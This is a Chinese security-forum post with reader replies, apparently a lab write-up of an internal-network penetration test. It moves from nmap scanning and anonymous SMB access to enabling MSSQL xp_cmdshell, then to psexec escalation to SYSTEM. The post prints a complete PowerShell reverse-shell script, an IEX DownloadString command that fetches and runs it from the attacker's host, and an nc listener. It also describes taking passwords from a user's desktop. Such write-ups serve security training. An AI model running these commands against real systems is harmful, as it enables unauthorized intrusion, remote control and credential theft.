用户
搜索
  • TA的每日心情
    开心
    2020-9-9 08:14
  • 签到天数: 13 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    19

    帖子

    319

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2020-8-21 22:07:29 87742
    本帖最后由 精通linux开关机 于 2020-8-21 23:09 编辑

    相关借阅:
    [二进制安全] 详述MSSQL服务在渗透测试中的利用 【1】
    https://bbs.ichunqiu.com/thread-17737-1-1.html
    SQL注入关联分析【2】
    https://www.cnblogs.com/blacksunny/p/9118662.html
    一周PowerShell脚本Day 1:TCP交互式PowerShell脚本【3】
    https://www.secshi.com/13082.html
    KB22871997是否真的能防御PTH攻击?【4】
    https://www.freebuf.com/articles/system/220473.html

    本文内容仅供内网安全自查使用,禁止用于未授权渗透。
    本文内容均在模拟环境中进行,禁止在未授权环境使用本文提到的工具。

    一、前言

    已提前进入内网环境,并探测得知若干主机存活,受篇幅所限,只记录其中一台机器的渗透思路。

    预先使用nmap -sP 10.10.10.1/24快速扫描C段存活主机。

    二、本文概要

    本文按时间线,以顺序方式记录测试过程。大致内容如下:
    (1).Nmap的使用

    (2).Smbclient的使用

    (3).mssqlclient.py的使用

    (4).MSSQL服务提权

    (5).不出网环境弹PS-Shell

    (6).P**ECWMI通信及提权

    三、Nmap扫内网

    关于-sP和-Pn的取舍

    -sP使用ICMP协议发送echo请求数据包,因为有安全设备干扰,很可能遗漏部分目标。

    -Pn即使目标不存活也默认目标主机是存活,耗费时间较长,无法完成快速发现主机任务。

    nmap-sp

    nmap-sp

    注意内网安全设备较多,降低nmap发包速度避免被发现。

    nmap-t3

    nmap-t3

    四、SMB匿名登录

    有445的地方就有smb匿名登录或弱口令可能,性价比较高,值得一试。

    smbclient-nl

    smbclient-nl

    成功匿名登录,进入backups查看文件列表,并下载图中配置文件。

    smbclient-dir

    smbclient-dir

    配置文件内容如下:

    mousepad-config

    mousepad-config

    这看上去像是ASPX.NET的配置文件,搜索查证为SQL SERVER配置文件。

    google-config

    google-config

    补充一下,在前面探测发现1433端口暴露,在那时就已经有必要进行登录尝试(Integred security=True或弱口令)。假如这不是内网,还可考虑是不是变更了端口,那么进行全端口扫描,发现服务后用navicat拖库。

    五、连接远程数据库

    Linux要连接MSSQL,这里考虑使用Impacket(PYTHON开源项目)使用example/mssqlclient.py验证MSSQL密码。

    python mssqlclient.py USER@IPV4 -windows-auth

    python-mssqlclient

    python-mssqlclient

    成功连接到远程MSSQL并查看版本【1】:

    sql-version

    sql-version

    当前当前登录SQL用户名

    sql-username

    sql-username

    看到不是sa权限,需要提权,看看有那些权限划分。

    sql-allrole

    sql-allrole

    sql-checkdbo

    sql-checkdbo

    权限组为dbodbowner权限,这比较鸡肋,无法直接利用扩展存储执行各种系统命令。

    对于拿shelldbo权限也可以做,但是过程比较烦琐,简化来说分4步。

    1.利用xp_dirtree扩展存储列出Web目录;

    2.利用SQL语句创建一个临时表,插入一句话木马到临时表;

    3.然后利用数据库备份语句(优先差异备份),备份到Web目录并保存为ASP/ASPX格式的文件;

    4.利用一句话木马客户端连接,控制服务器。

    继续信息收集,查看已挂载的所有库:

    `select name from sys.databases`

    sql-databases

    sql-databases

    查看实例中所有表名:

    `select name from sysobjects where xtype='U' order by name`

    sql-tables

    sql-tables

    信息收集没找到有价值的数据,陷入困境。

    六、MSSQL服务提权

    这时需要一点灵感【2】。

    检测对方的MSSQL服务是否为SA权限(SA权限的MSSQL用户对应系统的system权限),这里巧在该SQL用户具有SA权限,显然分配权限过度。

    sql-checksa

    sql-checksa

    返回1则说明是SA权限,很幸运,我们的目标机的MSSQL账户对应的是SA权限。

    使用以下SQL语句判断目标机的MSSQL服务是否存在xp_cmdshell扩展存储过程:

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

    xpcmd-exist

    xpcmd-exist

    很幸运,存在xp_cmdshell扩展存储过程,尝试执行以下SQL语句使用xp_cmdshell扩展存储过程来执行系统命令whoami(查看当前系统权限):

    xpcmd-enable

    xpcmd-enable

    我们从报错信息可以得出,xp_cmdshell扩展存储过程未删除,只是禁止访问。可以通过SQL语句启用它。

    EXEC sp_configure 'show advanced options', 1;#安装危险模块
    RECONFIGURE;#立即生效
    EXEC sp_configure 'xp_cmdshell', 1;#开启cmd(05及以后默认关闭)
    RECONFIGURE;#立即生效

    启用后我们再使用以下SQL语句使用xp_cmdshell扩展存储过程执行系统命令:

    Exec master..xp_cmdshell 'whoami';

    xpcmd-whoami

    xpcmd-whoami

    xpcmd-systeminfo

    xpcmd-systeminfo

    探测可否出网,如果可以出网弹shell会方便很多。

    出网检测:

    xpcmd-ping

    xpcmd-ping

    从结果来看,不可以出网。

    七、内网传马

    考虑在内网搭HTTP服务传木马,Windows优先考虑用PS,因为PS可以绕过杀软、绕过白名单防护设备,并且还可以得到返回的数据,是内网神器。

    保存以下文本【3】为文件 666.ps1.

    $client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

    启动文件下载服务,将666.ps1暴露。

    python3 -m http.server 81 

    ps-download

    ps-download

    启动NC监听

    nc -lvnp 82

    回到xp_cmdshell终端执行命令

     xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.254.1/666.ps1\");" 

    ps-whoami

    ps-whoami

    不是nt system意料之中,前面用whoami已探测知用户不是SA。

    继续信息收集,重点收集该用户的桌面、文档、浏览器等位置。

    ps-dir

    ps-dir

    在桌面找到一个文件(内含用户和密码)

    ps-usertxt

    ps-usertxt

    八、权限提升

    对方机器3389端口关闭,想到用P**ECWMI验证用户和密码。

    考虑使用P**EC。简单介绍一下工具,并说下工具的取舍:

    P**EC被编写的初衷是方便服务器管理员管理大量的机器,但由于它的便捷,同时也被黑客使用。

    WMI为微软官方的批量管理工具。最安全的方法,没有任何知觉,所有window系统均启用服务。

    我不选择WMI,因为通过WMI执行的命令一般没有回显,这会带来不便。

    **P**EC执行原理**

    通过ipc$连接,然后释放p**esvc.exe到目标机器。

    通过服务管理SCManager远程创建p**ecsvc服务,并启动服务。

    客户端连接执行命令,服务端启动相应的程序并执行回显数据。

    这里描述的是Sysinternals中的p**ec,不过MSFImpacketPTH工具中的p**ec用的都是同种思路。

    在事后攻击溯源时,调查人员会通过日志信息来推测出攻击过程。

    优点:

    给我们提供目标主机的system权限。

    缺点:

    p**ec类工具会释放文件,特征明显,专业的杀毒软件都能检测到。

    需要安装服务,会留下日志,并且退出时偶尔会出现服务不能删除的情况。

    需要开启admin$ 445端口共享。

    如图成功提升权限

    p**ec-whoami

    p**ec-whoami

    至此取得system权限,实验结束。

    九、总结

    内网渗透的门坎还是比较高的,确保你已熟悉常见服务器环境,多练多记。进入陌生内网,几乎全部时间在搜集信息。正如大佬说渗透测试的本质是信息收集,建议选取自己熟悉的协议进行信息搜集,同时边收集边思考更好的入侵路线,不同路线的利弊。与大家共勉一句话,学而不思则罔,思而不学则殆。

    补充【4】

    常见的WMI攻击工具:

    PTH-WMIS` (最早`wmi`攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)
    
    impackets `wmiexec`(Linux跨window经常用) 
    
    `wmiexec.vbs` (国人制造,为了回显,写入文件再读取) 
    
    `Invoke-WmiCommand&Invoke-PowerShellWmi

    常见的PS-EXEC攻击工具

    Invoke-P**ec(Empire)`
    
    `p**ec(Impacket)`
    
    `p**ec(Sysinternals公司原版)`
    
    `p**ec(Metasploit)` 
    
    `p**ec psh(Metasploit)

    除了以上之外,目前还有一款综合式的远程执行命令的工具crackmapexec,此款工具支持多种执行方式,并且支持批量。攻击者通过此类型的方式从内网中的一台主机横向移动以获得更多的内网主机权限,达到提升内网权限或者是获取关键信息的目的。

    本帖被以下淘专辑推荐:

    发表于 2020-8-23 12:06:57
    太强了,这篇精彩。
    使用道具 举报 回复
    发表于 2020-8-23 22:12:52
    写的真的不错,值得鼓励
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    都是马赛克
    使用道具 举报 回复
    发表于 2020-8-24 11:27:52
    师傅太强了,可以收徒吗?
    使用道具 举报 回复
    wdsj 发表于 2020-8-23 12:06
    太强了,这篇精彩。

    共同学习进步
    使用道具 举报 回复
    Sir 7 发表于 2020-8-23 22:12
    写的真的不错,值得鼓励

    感谢大师傅的鼓励
    使用道具 举报 回复
    NLY邪少 发表于 2020-8-24 11:27
    师傅太强了,可以收徒吗?

    实力不允许带徒。学习方面你可以在春秋找代码执行漏洞讲解课程,用来入门挺不错的。
    使用道具 举报 回复
    发表于 2020-9-8 16:55:16
    有没有联系方式,加个好友呀
    欢迎关注公众号:EDI安全  渗透测试 内网渗透 SRC漏洞分享,安全武器库 安全开发
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册